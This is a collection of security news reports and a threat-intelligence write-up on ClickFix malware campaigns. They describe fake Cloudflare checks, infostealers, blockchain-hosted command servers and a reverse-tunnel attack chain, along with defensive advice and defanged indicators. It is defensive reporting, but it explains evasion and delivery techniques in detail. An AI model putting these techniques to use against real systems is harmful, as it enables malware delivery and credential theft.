Over 100 hacked websites used fake Cloudflare checks to trick visitors into installing LunexStealer through ClickFix commands.
The lure is the now-familiar ClickFix technique, dressed up as Cloudflare’s standard bot check. The fake page asks you to run a command, supposedly to confirm you’re not a bot, and that command quietly downloads and installs an MSI package from an attacker-controlled server. There’s no bot to fool here, you’re the one being fooled.
“In September 2026, CERT-UA specialists discovered over 100 compromised websites to which malicious JavaScript code had been added by attackers. When visiting such a site, the user was shown a fake Cloudflare verification page, which, under the pretext of confirming that the visitor was a human, offered to execute a command.” reads the report published by the Ukraine CERT-UA. “Executing the command resulted in downloading and installing an MSI package from a remote server (ClickFix technique).”
What makes this campaign interesting is how the attackers control it. The domain used for the fake page and the script’s settings are stored in a smart contract on the Polygon or Ethereum blockchain. The script checks the contract each time it runs, so the attackers can change the domain or turn the attack on and off without changing the compromised websites. In effect, they are using the blockchain as a remote control that is difficult to take down.
The script has three modes: off, silent visitor tracking, and the full fake verification page. The attack mode only targets Windows users who arrive through search engines, and it will show the fake page no more than twice within 12 hours for the same visitor. This is clearly designed to keep the campaign quiet and make it harder to spot through unusual traffic patterns.
CERT-UA pulled apart three separate MSI variants used in the campaign. The first just installs the stealer directly. The second is more elaborate, trying to slip past Windows User Account Control, carving out Microsoft Defender exceptions, and deploying a vulnerable AMD driver to exploit CVE-2023-20598, a bring-your-own-vulnerable-driver (BYOVD) move that blinds security tools before the real payload drops.
The third variant skips the driver abuse entirely and uses DLL side-loading instead, tricking a legitimate executable into loading a malicious library that decrypts and launches the stealer. Three different paths, the same room goal. CERT-UA names that payload LunexStealer.
LunexStealer isn’t just a credential grabber, it doubles as a remote execution tool, able to download and run executables, MSI packages, PowerShell scripts, and raw commands on demand. Depending on what configuration it pulls from its command server, it can also install a browser extension called LUNARAXE, disguised under the name “Microsoft Office Word Editor” so it blends into a list of legitimate-looking add-ons.
That extension steals cookies, browsing history, and anything typed into a web form, and gives the attacker live remote control over the browser itself.
“Depending on the configuration received from the control server, LUNEXSTEALER can install a malicious browser extension called LUNARAXE, which appears in the browser under the name “Microsoft Office Word Editor”.” continues the report. “The extension steals cookies, browsing history, and credentials entered into web forms, and also allows attackers to remotely control the browser: execute JavaScript code on web pages, manage tabs and take snapshots of them, and change proxy server settings. If the NAIVEMESS auxiliary component is present, the extension also gains access to the computer’s file system.”
There’s a file system access layer too, a PowerShell component called NAIVEMESS that CERT-UA says registers itself as a legitimate browser-to-system messaging host, letting the extension read, write, and launch files on the victim’s machine.
CERT-UA’s advice is simple: a real security check will never ask you to open the Run window, Command Prompt, or PowerShell and paste a command. If a website asks you to do that, close it, even if the site looks familiar.
For system administrators, CERT-UA recommends additional controls, such as restricting Win+R with Group Policy, limiting who can install MSI files, and blocking known vulnerable drivers.
Full CERT-UA advisory with indicators of compromise and the complete malware breakdown is available here.
Attackers hijacked Ukrainian websites to deliver a fake Cloudflare CAPTCHA that installs Psychedelic Stealer and steals browser and crypto credentials.
Psychedelic Stealer is being distributed through compromised Ukrainian business websites. Attackers injected hidden iframes into legitimate pages and used them to display a fake Cloudflare verification screen to visitors. The affected sites included a hair-treatment clinic, a scale-model manufacturer, a specialist bookseller, a psychological facility, a tool retailer, and an automotive retailer.
These were legitimate businesses with established social media profiles and third-party listings. Visitors were therefore directed to a trusted website they may have visited before, making the fake Cloudflare CAPTCHA harder to recognize.
That’s the core of what makes this campaign uncomfortable to dismiss. Visitors didn’t stumble onto an obvious fake domain. They landed on a site they may have visited before, for a business they already had some reason to trust, and got served a fake CAPTCHA instead of the page they were looking for.
The fake verification page imitates Cloudflare, complete with a randomly generated “Ray ID” in the footer and a fixed “visitor identifier” in the agreement text. Both look like the kind of tracking and authentication markers Cloudflare actually uses, and neither one means anything here.
“The page footer displays a randomly generated hexadecimal “Ray ID.” Cloudflare assigns a legitimate Ray ID to each request that passes through its network, but the value displayed by this lure is not evidence that Cloudflare performed the verification.” reads the report published by ArticWolf. “The agreement text also contains a fixed “visitor identifier.” Both identifiers imitate familiar verification and tracking elements, making the page appear more legitimate without providing evidence of an authentic Cloudflare verification. Put simply, all of this is fake; window dressing to fool the site visitor.”
The page is written in Ukrainian, which fits the target audience, but its HTML carries Russian-language comments and the document declares lang=”ru,” a detail that tells you something about who built it even if it doesn’t confirm nationality or location.
When the victim clicks the fake CAPTCHA, the page silently copies a Windows Installer command to the clipboard. It then tells the user to press Windows+R, paste the command and press Enter. There is no PowerShell involved, which can help the attack bypass security controls focused on detecting malicious PowerShell activity. Instead, the command directly launches msiexec.exe. It also includes the fake Cloudflare verification text, making the command in the Run window look like part of the verification process.
The downloaded MSI file then installs a 64-bit executable called psychedeliclove.exe, which Arctic Wolf Labs tracks as Psychedelic Stealer. The malware targets saved passwords from browsers such as Chrome, Edge, Brave, Opera, Opera GX, Vivaldi and Yandex. It also steals browser account tokens and targets cryptocurrency wallets, including Exodus, Atomic Wallet, Electrum, Bitcoin Core and Litecoin Core.
Beyond the one-time credential grab, the implant installs browser components and sets up a native messaging bridge that lets deployed browser content communicate with a local process on the machine. It creates a scheduled task for persistence named psychedelicloveUtils, profiles the host in detail including antivirus status and installed browsers, and then starts polling its command-and-control server for additional tasks. As Arctic Wolf Labs puts it:
“The implant tracks task state in executed_tasks.json, downloads attachments into downloads\<taskid>_<filename>, and supports EXE, COM, BAT, CMD, MSI, and PowerShell files.” states the report. “This gives operators a route to introduce additional code after installation.”
Which means whoever’s behind this isn’t necessarily done with a compromised machine after the initial credential sweep. The remote tasking capability supports EXE, COM, BAT, CMD, MSI, and PowerShell payloads, so the initial infection is better understood as a foothold than a finished operation.
The campaign also uses a management panel called “РУБЛЁВКА TDS” (Rublevka TDS), a name referring to the wealthy Rublevka area near Moscow. The panel allows the attackers to control the Windows Installer command delivered by each compromised website. This means they can change the payload URL from one place without modifying every infected page.
The panel also tracks how visitors interact with the fake CAPTCHA. It records when the page is opened, when the CAPTCHA is clicked and when the user presses the Done button.
The Done button remains disabled for about 35 seconds after the command is copied. The delay has no technical purpose. It simply gives victims enough time to follow the instructions and run the command, adding another layer of social engineering to the attack.
At collection time the panel showed 557 views, 426 clicks, and 79 complete events across 32 countries. Ukraine accounted for 446 of those views and 351 of the clicks, which combined with Ukrainian-language instructions and Ukrainian business websites makes the targeting intent about as clear as it gets. The panel labeled its complete events as “executions” and calculated a conversion rate from them, which Arctic Wolf correctly points out overstates actual confirmed compromises, since a complete event only means someone clicked Done in the browser, not that they ran anything.
The domain at the center of this, uasputnik[.]com, was registered September 9, 2026, updated three and a half hours later, and associated with lure URLs appearing on September 12 and 13. The whole operational window from registration to observed delivery fits inside a week.
For defenders, there are several useful indicators to monitor. Network traffic to uasputnik[.]com, followed by a request to admin777111777.php, could indicate an early stage of the attack. A later-stage sign is traffic to 193.178.159[.]128:8080, particularly requests to /api/v1/agent/ and /api/v1/ext/ with an X-API-Key header.
These indicators should be investigated together with file creation and process execution events to confirm whether a system has been compromised.
A domain that has long appeared in software documentation, code examples, and developer test material is now being used to push a ClickFix attack against Windows users.
A placeholder domain stands in for a website in an example. The best-known is probably example.com. Another, third-party[.]com, has often been used in documentation to represent an external website, API, or service.
However, there is a very important difference between the two: example.com is reserved for documentation, while third-party[.]com is an ordinary domain. Anyone could register it, and someone did. Every document, test, and skill that hardcoded it now points readers and users to the attacker’s infrastructure.
Researchers at Manifold Security found that third-party[.]com was serving a fake Cloudflare-style verification page to Windows visitors. The page tries to persuade them to open the Windows Run box and paste a command it has copied to their clipboard.This command is designed to download and execute a PowerShell script. At the time of writing the domain hosting the script is not resolving.
ClickFix is a social-engineering technique that turns the victim into the malware installer.
Instead of relying on a malicious attachment or an obvious executable download, the attacker convinces someone to run a command themselves. Common lures include:
A browser error that claims it needs a “manual fix.”
A bogus video-player, document-viewer, or popular software download.
A support scam page that tells the visitor to paste a command into Run, Command Prompt, Terminal, or PowerShell.
ClickFix works because the command often uses legitimate Windows or Mac tools to download and execute the next stage. It also runs with the permissions of the person who has been convinced to enter it.
The consequences can range from information theft to more serious compromise of a company network. In a recent campaign called TerminalFix, a fake Cloudflare CAPTCHA led victims to paste a PowerShell command into Windows Terminal or PowerShell.
How to stay safe
With ClickFix running rampant—and it doesn’t look like it’s going away anytime soon—it’s important to be aware, careful, and protected.
Slow down. Be wary of a webpage that urges you to run commands on your device, especially if it uses a countdown or other pressure tactic.
Don’t run commands or scripts from untrusted sources. Never run code or commands copied from websites, emails, or messages unless you trust the source and understand the action’s purpose. Verify instructions independently. If a website tells you to execute a command or perform a technical action, check through official documentation or contact support before proceeding.
Check what you’re pasting. A website may copy a command to your clipboard without showing you the full text. Don’t paste it into a command window.
Secure your device. Use an up-to-date, real-time anti-malware solution with a web protection component.
Educate yourself on evolving attack techniques. Understanding that attacks may come from unexpected vectors and evolve helps maintain vigilance. Keep reading our blog!
Pro tip: The free Malwarebytes Browser Guard extension warns you when a website tries to copy something to your clipboard.
Stop threats before they can do any harm.
Malwarebytes Browser Guard blocks phishing pages and malicious sites automatically. Free, one click to install. Add it to your browser →
Varonis Threat Labs discovered AvisLoader, a Windows malware loader that uses the Tox peer-to-peer network for C2 and arrives through a malicious ClickFix lure.
Blackpoint uncovers ChainScript, a Node.js RAT that queries a Polygon smart contract to find and rotate its command server.
Blackpoint’s Adversary Pursuit Group was chasing a ClickFix campaign spreading an unknown RAT namend ChainScript. The malicious code is a previously undocumented Node.js remote access trojan that hides its command server on a public blockchain.
The infection starts with a familiar ClickFix trick. The victim gets talked into pasting and running a command that fires up msiexec.exe, which pulls down an installer dressed up as Spotify. Inside that installer sits a full Node.js runtime and a JavaScript agent ready to launch.
Once it runs, the installer scatters its pieces across folders with Microsoft-sounding names, blending into the rest of the system. A hidden PowerShell script kicks off a VBScript file, which then starts the bundled Node.js runtime. None of this needs admin rights, since the installer is set to run entirely within the user’s own profile.
The main part of the malware is contained in a single file: app\src\index.js. This file does almost everything. It handles the configuration, collects information about the infected computer, finds the command server, manages WebSocket connections, runs commands, updates the malware and cleans things up. The other components, including the PowerShell and VBScript files and the helper binaries, are mainly there to launch this file and make sure it stays running.
The interesting part is how ChainScript finds its command server. Instead of having a fixed server address that security teams could block, the malware asks a smart contract on the Polygon blockchain for the address. It sends a request to the contract, gets an address back and then connects to it.
This technique is known as EtherHiding. It is not a new idea, but ChainScript uses it effectively. The malware contacts the smart contract and receives a string starting with ws:// or wss://. It then saves that address for five minutes and uses it to connect to the attackers’ server.
If the attackers want to move to a different server, they only need to update the smart contract. They don’t have to change or rein
“For C2 discovery, ChainScript uses an EtherHiding style technique that treats a Polygon smart contract as the authoritative resolver for the active WebSocket panel. The analyzed build targeted contract 0xf9099d0d747368cce8C10226CC9AF2bFD4DDbCF4 on chain ID 137 and supplied function selector 0x4ab7874e in an eth_call request.” read the report published by Blackpoint’. “ChainScript ABI decodes the returned string, verifies that it begins with ws:// or wss://, caches the result for five minutes, and uses it in place of the panel value stored directly in the configuration”
Blackpoint watched this play out live. During analysis, the contract first pointed the agent to one server, which stayed active for about 18 minutes while exchanging heartbeat traffic. Twelve minutes after the connection reset, the same contract handed back a completely different address, proving the backend can rotate without anyone ever updating the malware itself.
One detail, flagged by an independent researcher on GitHub, is almost funny given the stakes. The smart contract behind one sample was deployed just 23 seconds before the installer was compiled. That’s too tight a window for a human to have done it by hand. Contract creation is almost certainly baked into the same build pipeline that produces the malware.
Once connected, ChainScript doesn’t just sit and listen. It hands operators a full interactive shell, file read and write access, desktop screenshots, the ability to push additional payloads, a scan for installed crypto wallets, arbitrary JavaScript execution, and a self-update function. That’s complete control of the machine, with a cleanup command built in for when the job is done.
On the wallet front, the malware stops at reconnaissance. It lists which wallets are installed and where, but there’s no dedicated code for stealing seed phrases or private keys. Given the shell access it already has, that distinction matters less than it should.
Blackpoint found the same agent wearing different outfits. Alongside the Spotify build, other versions turned up posing as Zoom Workplace and Microsoft Teams, each with its own package name but the same code underneath. The costume changes. The thing wearing it doesn’t.
“The malware was uncovered while investigating ClickFix activity that led to the execution of a malicious Windows Installer disguised as Spotify software.” reads the report. “Once executed, the MSI deployed its own Node.js runtime and launched a JavaScript agent through hidden PowerShell and VBScript stages. The running agent then established persistence in the user profile.”
This isn’t happening in isolation either. Research into other malware families, Tsundere and EtherRAT among them, has already documented the same recipe: Node.js, a malicious installer, and blockchain-based server discovery. The pattern keeps showing up, and that’s the uncomfortable part. Splitting the malware from its infrastructure is turning into a design choice, not a one-off trick.
For defenders, this changes where they should focus their attention. Tracking domains and IP addresses is still useful, but those indicators may not stay valid for long if the attackers can simply change the blockchain contract. Looking at the chain of processes can be much more effective: msiexec starting wscript, wscript launching the VBScript, and node.exe running app\src\index.js. These relationships are much harder for attackers to change than the server address they happen to be using this week.
Defenders should also watch for less obvious signs of activity. For example, a node.exe process suddenly making outbound blockchain RPC requests and then opening a WebSocket connection should attract attention.
Neither of these behaviors is necessarily malicious on its own. But when they happen together, they become a much stronger indicator of compromise than simply looking for a specific domain or IP address on a blocklist.
“ChainScript combines familiar RAT functionality with a flexible C2 design built around blockchain based infrastructure discovery.” concludes the report.
Blackpoint Cyber found ChainScript, a Node.js RAT spread through fake Spotify, Zoom and Teams installers that uses Polygon smart contracts to locate its C2 server.
A Brevo supply-chain attack used compromised Cloudflare access to inject malware into websites, potentially affecting over 100,000 sites.
Brevo, formerly known as Sendinblue, is a French cloud-based marketing and customer communication platform whose clients include eBay, Louis Vuitton and Michelin.
The company was first compromised on September 10, when attackers exploited a vulnerability in its SAML SSO system and gained access to 138 accounts, including one belonging to cryptocurrency hardware wallet maker Trezor. Six accounts were used to send phishing emails, while contact data was exported from 43 accounts.
Brevo blocked the unauthorized access, but attackers returned four days later using a compromised, long-lived Cloudflare API key. They used the key to deploy a malicious Cloudflare Worker that injected code into Brevo’s websites and three JavaScript files embedded in customer sites.
“A long-lived Cloudflare API key with full account permissions was stored in application source code and was obtained by the attacker. With it, they could create Workers, routes and DNS records on Brevo’s zones without triggering an alert.” reads a Brevo’s notice of incident. “Because the Worker rewrote responses at the edge and removed security headers such as Content-Security-Policy, our origin servers and files remained unmodified and standard integrity checks did not detect the change.”
This turned Brevo’s trusted infrastructure into a malware distribution channel. The malicious code was served to visitors and users of websites relying on Brevo’s services. Security firm Sansec estimated that more than 100,000 sites may have been affected. Unlike the initial incident, this was no longer just a breach of customer accounts: the vendor’s own infrastructure had become the mechanism for distributing the attack.
a malicious WordPress plugin, installed when site admins visited their own site
a clickfix overlay, shown to everyone browsing a customer site or clicking an (unsubscribe) link in a Brevo-sent campaign email”
Brevo’s chat widget and tracking scripts, loaded directly from cdn.brevo.com by thousands of websites, were modified to load an additional script from sendibt1.com, a domain owned by Brevo. This meant attackers could reach a large number of sites without compromising them individually.
Visitors were shown a fake “prove you’re human” prompt designed to trick them into running a malicious command. WordPress administrators faced a more serious threat: if they were logged in while visiting their site, a malicious plugin could be installed through their active session without requiring a password.
The malware also tried to avoid detection by targeting only logged-in WordPress admins and ignoring crawlers, developers and security scanners. BleepingComputer later found the plugin on VirusTotal disguised as “Web Media Optimizer.” It could hide from the normal plugin list, persist through the must-use plugins folder and communicate with its command-and-control server.
The files on Brevo’s servers were completely clean the entire time. Anyone checking file hashes or running standard integrity monitoring on the origin would have found nothing wrong, because nothing on the origin ever changed. The attack lived entirely at the CDN edge, invisible to any tool watching the wrong layer.
Sansec says supply-chain attacks offer attackers enormous reach. In this case, a single stolen key and compromised Cloudflare access allowed malware to spread through Brevo’s trusted infrastructure to websites using its scripts. Attackers did not need to compromise each customer or trick every victim individually. The trust was already built into the websites through a simple <script> tag, making the vendor a powerful distribution point for the attack.
The exposure window ran from roughly 16:05 to 20:13 UTC on September 14th, and both companies agree everything was clean again by the 15th. Brevo revoked the compromised key, pulled the hardcoded credential out of its source code, deleted the attacker’s hostnames, and flushed its edge caches. Whether this Cloudflare compromise connects back to the SSO-related account hijacking Brevo disclosed on September 10th, the one that led to phishing emails reaching 347,000 addresses tied to crypto wallet vendor Trezor, is still an open question Brevo hasn’t answered.
If you run a Brevo widget, a form, or the chat script on your site, don’t take “we fixed it” as the end of the story. Check your access logs for a plugin install or activation around September 14th, compare what’s on disk against what the WordPress admin screen actually shows (this plugin specifically hides itself from that list), and rotate admin passwords if you find anything. And if anyone on your team pasted a “verification” command into their terminal that day because a website told them to, that machine needs a proper scan, not just a shrug.
Ironically, sendibt1.com is probably the domain many people would want to block. But that would cause problems because it is a legitimate Brevo domain used for email tracking. Blocking it could break open and click tracking for customers still using the service. The attackers simply abused infrastructure that was already trusted.
Sansec’s report includes indicators of compromise, C2 paths, and file hashes.
Researchers at Hudson Rock found that cybercriminals hijacked HBO Max’s verified Reddit account and used it to run 108 malicious ads over roughly 48 hours.
The ads used HBO Max’s trusted corporate account to promote fake AI tools, developer software, and macOS utilities, lowering potential victims’ guards.
Some ads directed users to convincing HBO lookalike sites that claimed to offer a native HBO Max app for macOS or a promotional download. But instead of providing an installer, the sites instructed visitors to open Terminal on their Mac or, on Windows, the Run dialog or PowerShell, and paste in a command.
This is the hallmark of a growing social engineering technique known as ClickFix.
ClickFix attacks disguise malicious instructions as a routine technical step, such as fixing an error, completing a CAPTCHA, verifying that you are human, or installing software. A web page may silently copy a command to the clipboard, then guide the victim through pasting and running it, by which they will infect their own device.
Researchers at ADAMnetworks have dubbed the operation behind the HBO Max ads “PasteSwitch.” Its infrastructure appears to tailor the next stage to the visitor’s device and the lure being used.
Observed macOS payloads included MacSync and AMOS infostealers designed to steal browser credentials and profiles, Telegram data, Apple Notes, saved passwords, and cryptocurrency wallet recovery phrases.
Windows users could end up with the Amatera infostealer, which runs in memory. The operation has also been linked to cryptocurrency clipboard hijackers, which monitor copied wallet addresses and replace them with an attacker-controlled address before a transaction is sent.
How to stay safe
Reddit admins paused the ads and opened a security investigation after reports came in, but it is important to remain vigilant. Reportedly, ClickFix was responsible for more than half of all malware loader activity in 2025.
One reason for its success is that campaigns continue to add new methods for tricking users and different commands for avoiding detection.
Users of macOS Tahoe 26.4 or later may be warned when pasting text into Terminal, but it doesn’t appear for everyone, so you shouldn’t rely on that alone.
Malwarebytes can provide additional protection at several stages of a ClickFix attack. Browser Guard warns when a website tries to copy something to your clipboard, web protection blocks known malicious sites, and real-time protection can detect malware delivered by the campaign.
With ClickFix running rampant and inventing new methods all the time, it’s important to be aware, careful, and protected:
Treat ads with caution. A verified account does not guarantee that an ad is safe. Visit the company’s official website directly instead of downloading software through an advertisement.
Slow down. Don’t rush to follow instructions on a webpage or prompt, especially if it asks you to run commands on your device or copy-paste code. Attackers may use countdowns, user counters, or other pressure tactics to make you act quickly.
Don’t run commands from untrusted sources. Never run code or commands copied from websites, emails, ads, or messages unless you trust the source and understand what the command does. Check the instructions against official documentation or contact the company’s support team.
Secure your devices. Use an up-to-date, real-time anti-malware solution with a web protection component. Malwarebytes blocks ember-bridge.com, which is part of the PasteSwitch infrastructure.
Educate yourself on evolving attack techniques. Understanding that attacks may come from unexpected vectors and evolve helps maintain vigilance. Keep reading our blog!
From reporting threats to removing them.
Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.
The AhnLab SEcurity intelligence Center (ASEC) recently identified the LegionLoader malware, which is currently being distributed via the ClickFix method. There are two main distribution methods identified so far; both involve tricking users into visiting a malicious URL and then prompting them to directly execute malicious PowerShell commands through a fake Cloudflare CAPTCHA screen. […]
Microsoft Threat Intelligence has observed a TerminalFix campaign, a variant of ClickFix, targeting organizations across multiple industries. The campaign uses compromised websites to display a fake Cloudflare CAPTCHA verification overlay that tricks users into copying and executing a malicious PowerShell command. While traditional ClickFix campaigns direct victims to the Windows Run dialog, TerminalFix campaigns apply the same technique but direct users to Windows Terminal or PowerShell instead, increasing the likelihood that complex, multi-line scripts execute successfully. Unlike earlier ClickFix variants that typically deliver a single infostealer, this TerminalFix campaign deploys a sophisticated multi-stage attack chain that combines DLL sideloading, steganographic payload extraction, extensive Active Directory reconnaissance, and a custom reverse-tunnel implant – giving the attacker persistent, network-level proxy access through the compromised host.
Once executed, the PowerShell command masquerades as a Cloudflare verification process while downloading a ZIP archive containing a legitimate binary (LockScreenContentServer.exe) and a malicious DLL (dui70.dll) used for sideloading. The sideloaded DLL drives an elaborate second stage: downloading payloads concealed inside PNG images using steganography, establishing dual persistence through Registry Run keys and scheduled tasks, conducting thorough domain reconnaissance—including domain trust enumeration, domain admin discovery, Active Directory user description harvesting, and targeted server ping sweeps—and ultimately deploying a Python-based reverse-tunnel C2 implant that tunnels arbitrary TCP traffic back through an encrypted WebSocket channel to attacker infrastructure.
This type of intrusion is particularly dangerous because it provides attackers with direct access to an organization’s internal network through the reverse tunnel. The observed reconnaissance and reverse-tunnel capability could enable an attacker to identify and reach additional systems from a compromised host. Microsoft did not observe the downstream actions described below in the analyzed chain. Organizations should treat affected devices as potential network pivot points and investigate for lateral movement and credential exposure. In the hands-on-keyboard phase that typically follows, attackers leverage this access to escalate privileges, disable security controls, exfiltrate sensitive data, and deploy ransomware across the organization. The combination of stealth techniques (DLL sideloading, steganography, hidden folders) and persistent network access make this TerminalFix campaign a serious threat to enterprise environments.
In this blog, we share our detailed analysis of the TerminalFix attack chain – from initial compromise through network tunneling—along with indicators of compromise, detection details, and hunting guidance to help defenders identify and respond to this threat.
Attack chain overview
The TerminalFix campaign follows a multi-stage attack chain that progresses from social engineering through payload delivery, persistence, reconnaissance, and ultimately network tunneling:
1. Initial access via compromised website – A compromised website displays a fake Cloudflare Turnstile CAPTCHA verification overlay. The user is instructed to copy and paste a “verification” command.
2. PowerShell execution – The pasted command runs a disguised PowerShell script that downloads a ZIP archive from attacker infrastructure, extracts it to C:\ProgramData, and silently launches a batch file.
3. DLL sideloading — The batch file executes LockScreenContentServer.exe, a signed legitimate binary, which automatically loads the co-located malicious dui70.dll.
4. Steganographic payload retrieval – The sideloaded DLL executes PowerShell that downloads PNG images from attacker domains, extracts embedded executables and DLL fragments hidden within pixel data, and reassembles them on disk.
5. Persistence – The malware establishes persistence through both HKCU\…\Run registry keys and scheduled tasks that re-execute LockScreenContentServer.exe every 60 minutes.
6. Reconnaissance – Extensive domain discovery is performed: domain trust enumeration, domain admin group membership, Active Directory computer and user enumeration, targeted server pinging, and system information collection in both English and Spanish locales.
7. Command execution loop – A persistent PowerShell file-watch loop monitors a text file for new commands, executes them via Invoke-Expression, and writes results to an output file-, creating a primitive but effective asynchronous command shell.
8. Reverse tunnel deployment – A Python runtime and a custom client.py tunneling implant are downloaded and launched via pythonw.exe with no visible window, establishing a reverse WebSocket tunnel to gitnow[.]dev:443 that gives the attacker full SOCKS-style TCP proxy access through the victim’s network.
Attack chain
Figure 1. TerminalFix attack chain overview.
1. Initial access: Fake CAPTCHA and the TerminalFix lure
The attack begins when a user visits a compromised website that displays a fake Cloudflare Turnstile verification overlay. The original page is briefly displayed before being replaced by a convincing Cloudflare Turnstile verification overlay. This overlay spoofs the Cloudflare CAPTCHA interface, complete with the Cloudflare logo, “Verify you are human” checkbox, and a spinner animation, tricking users into believing they must complete a verification step to access the site.
Figure 2. Fake Cloudflare Turnstile verification displayed on a compromised website.
When the user interacts with the fake verification prompt, a malicious PowerShell command is silently copied to their clipboard. The on-screen instructions then guide the user to open Windows Terminal or PowerShell and paste the command. The command is carefully crafted to appear legitimate by printing reassuring Cloudflare-themed status messages in color-coded terminal output:
Figure 3. Defanged initial PowerShell command copied to the user’s clipboard by the ClickFix lure.
The command performs the following actions:
Clears the terminal and prints a fake “Starting Cloudflare verification…” message in cyan color formatted
Downloads a ZIP archive from the attacker’s infrastructure using a custom User-Agent header
Extracts the archive to C:\ProgramData\f47f2a8c21c9df4e
Launches a batch file (1.bat) that executes LockScreenContentServer.exe silently in the background
Prints a convincing “I am not a robot – Cloudflare ID: f47f2a8c21c9df4e” confirmation message in green text
2. Payload delivery: DLL sideloading via LockScreenContentServer.exe
The downloaded ZIP archive (SHA-256: 18c2090e8a0ae0568af9b87e59eaf8270f23d2909600ed9db91a9444fd8b278f) contains two files:
File
Description
Purpose
LockScreenContentServer.exe
Legitimate signed Windows executable
Sideloading host; loads dui70.dll from its working directory
dui70.dll
Masquerading DLL claiming to be “Windows DirectUI Engine” (unsigned, forged future timestamp 2104)
Malicious payload; executes second-stage PowerShell upon sideloading
LockScreenContentServer.exe is a legitimate, signed binary that has a static import dependency on dui70.dll, the Windows DirectUI Engine.
Here is the example view of LockScreenContentServer application importing dui70.dll function:
Figure 4. Example list of imports from dui70.dll
The attacker abuses this dependency by dropping a malicious dui70.dll alongside the executable. Because the Windows loader resolves the application directory before the System32 directory, the planted DLL is loaded in place of the legitimate one, a technique known as DLL sideloading (T1574.001). Execution therefore begins inside a trusted, signed process, allowing the attacker to inherit its reputation and evade controls that key on process identity.
The malicious dui70.dll embeds a heavily obfuscated payload in its resource section. On load, the DLL’s initialization path retrieves this resource, decodes it entirely in memory, and transfers execution to it, staging the next phase of the infection without ever writing the decoded payload to disk (Figures 5 and 6).
Figure 5. Loading a malicious resource (dui70.dll code path).Figure 6. Heavily obfuscated malicious resource from dui70.dll
3. Second-stage delivery: Steganography and image-based payload extraction
Once sideloaded, the malicious DLL launches an elaborate PowerShell script that retrieves additional payloads concealed within PNG image files, a technique known as steganography. The script downloads three images from attacker-controlled domains, extracts binary data encoded in pixel values, and reassembles the components on disk.
Content domains
The script uses a failover mechanism across two domains:
Figure 7. Attacker content delivery domains with failover.
Steganographic extraction
The Extract-RawFileFromImage function reads each pixel’s RGBA channels and reconstructs an embedded binary. The first 8 bytes encode the payload length as a 64-bit integer, and the remaining bytes contain the file data:
Figure 8. Steganographic extraction function — payload hidden within pixel channel data.
The script downloads three images via POST requests to the content domains, extracts the executable from the first image, extracts two halves of the DLL from the second and third images, and concatenates the DLL fragments:
Figure 9. Payload extraction from three images and DLL reassembly.
Encoding payload data in PNG files can make file type and content inspection more difficult. Splitting the DLL across two images further obscures the complete payload in transit, the payloads aren’t recognizable as executables in transit, and splitting the DLL across two images further complicates detection. After extraction, the source images are deleted to reduce forensic artifacts.
4. Persistence mechanisms
The TerminalFix campaign establishes redundant persistence through two independent mechanisms, ensuring the payload survives reboots and re-executes on a recurring schedule. The dropped batch script takes the payload path as a command-line argument, validates that the file exists, and then configures both mechanisms under the same masquerading name LockScreenContentServer_MuODG5yBM chosen to blend in with the legitimate Windows Lock Screen component abused earlier in the chain.
Registry Run key
The malware creates a Run key entry with a randomized service-like name:
Figure 10. Registry Run key persistence [T1547.001].
Scheduled task
A scheduled task ensures the malware re-executes every 60 minutes:
Figure 11. Scheduled task persistence at 60-minute intervals [T1053.005].
Folder hiding
The malware directory is hidden using system and hidden file attributes:
Figure 12. Directory hiding via attrib [T1564.001].
5. Reconnaissance and domain discovery
After establishing persistence, the sideloaded malware conducts extensive reconnaissance of the victim’s environment. This activity is consistent with a hands-on-keyboard operator or an automated pre-assessment script designed to evaluate whether the compromised host is a valuable target – particularly whether it is domain-joined and near high-value infrastructure.
System information collection
The attacker collects system metadata and the script includes English, Spanish, and German locale variants, indicating an attempt to operate across systems configured in multiple languages:
Figure 13. Bilingual system information enumeration.
Active Directory enumeration
The malware performs domain trust discovery, domain admin enumeration, and Active Directory user and computer searches:
Figure 14. Active Directory enumeration including user description harvesting.
Infrastructure probing
The malware systematically pings named servers to map the internal network topology:
Figure 15. Automated Windows Server enumeration via ADSI combined with targeted ping sweep.
The observed names correspond to common infrastructure roles, including domain controllers, databases, backup, gateways, and mail systems. This probing could help an attacker identify accessible target systems for follow-on activity.
6. Asynchronous command execution loop
The malware deploys a persistent PowerShell file-watch loop that creates an asynchronous command-and-control channel through the local filesystem. This mechanism monitors a “watch” file for changes, executes its contents via Invoke-Expression, and writes results to an output file:
Figure 16. File-watch command execution loop – a primitive but effective asynchronous C2 channel.
This loop provides the attacker with a way to execute arbitrary PowerShell commands by writing them to the watched text file. The output is captured to a separate file, which the attacker can read back through the reverse tunnel. This decoupled execution model allows the attacker to issue commands asynchronously and retrieve results at their convenience.
7. Reverse tunnel deployment: The custom Python-based tunneling implant
The most significant post-compromise capability observed is the deployment of a custom Python-based reverse-tunnel implant. The attacker brings their own interpreter: an unmodified, signed embeddable Python runtime pulled directly from the official python.org distribution. The malicious logic lives entirely in the accompanying client.py, giving the operator a portable, cross-version-tolerant execution environment that inherits the trust of a legitimate open-source runtime.
The deployment is orchestrated in PowerShell. It removes any prior install directory, extracts the implant kit, downloads the embeddable Python 3.14.5 archive over TLS 1.2, unpacks it into the same directory, and launches the tunnel with no visible window via pythonw.exe:
Figure 17. Python runtime deployment and custom tunnel implant launch.
Tunneling implant analysis
The client.py script is a compact but full-featured reverse tunnel. It dials outbound to the C2 over TLS/443, upgrades the session to a WebSocket, and uses that channel to relay arbitrary TCP connections on behalf of the operator. On the wire, the traffic is indistinguishable from an ordinary encrypted web session to a single destination
Capability
Description
TLS WebSocket tunnel
Connects outbound over TLS port 443, upgrades to WebSocket at /tunnel endpoint. Certificate verification is always disabled (CERT_NONE).
Arbitrary TCP proxying
SOCKS5-style address parsing (IPv4/IPv6/hostname) allows the C2 server to instruct the implant to connect to any internal host and port.
User-Agent rotation
Randomly selects from four realistic browser UA strings (Chrome, Firefox, Safari) per connection.
Remote shutdown
C2 server can remotely terminate the implant via MSG_SHUTDOWN; uses os._exit() to bypass Python cleanup.
Stream multiplexing
Custom 7-byte binary protocol header (type + stream ID + length) multiplexes many tunneled connections over one WebSocket.
The tunnel carries a lightweight custom protocol with eight message types spanning implant identification, connection setup, data relay, keepalive, and remote termination:
Figure 18. custom tunnel protocol message types.
Turning the victim into a network pivot: The implant’s SOCKS5-style address parsing enables the C2 server to reach any host visible from the victim’s network. Combined with the reconnaissance data gathered earlier (domain controllers, SQL servers, backup servers, gateway), this turns the compromised machine into a full network pivot point:
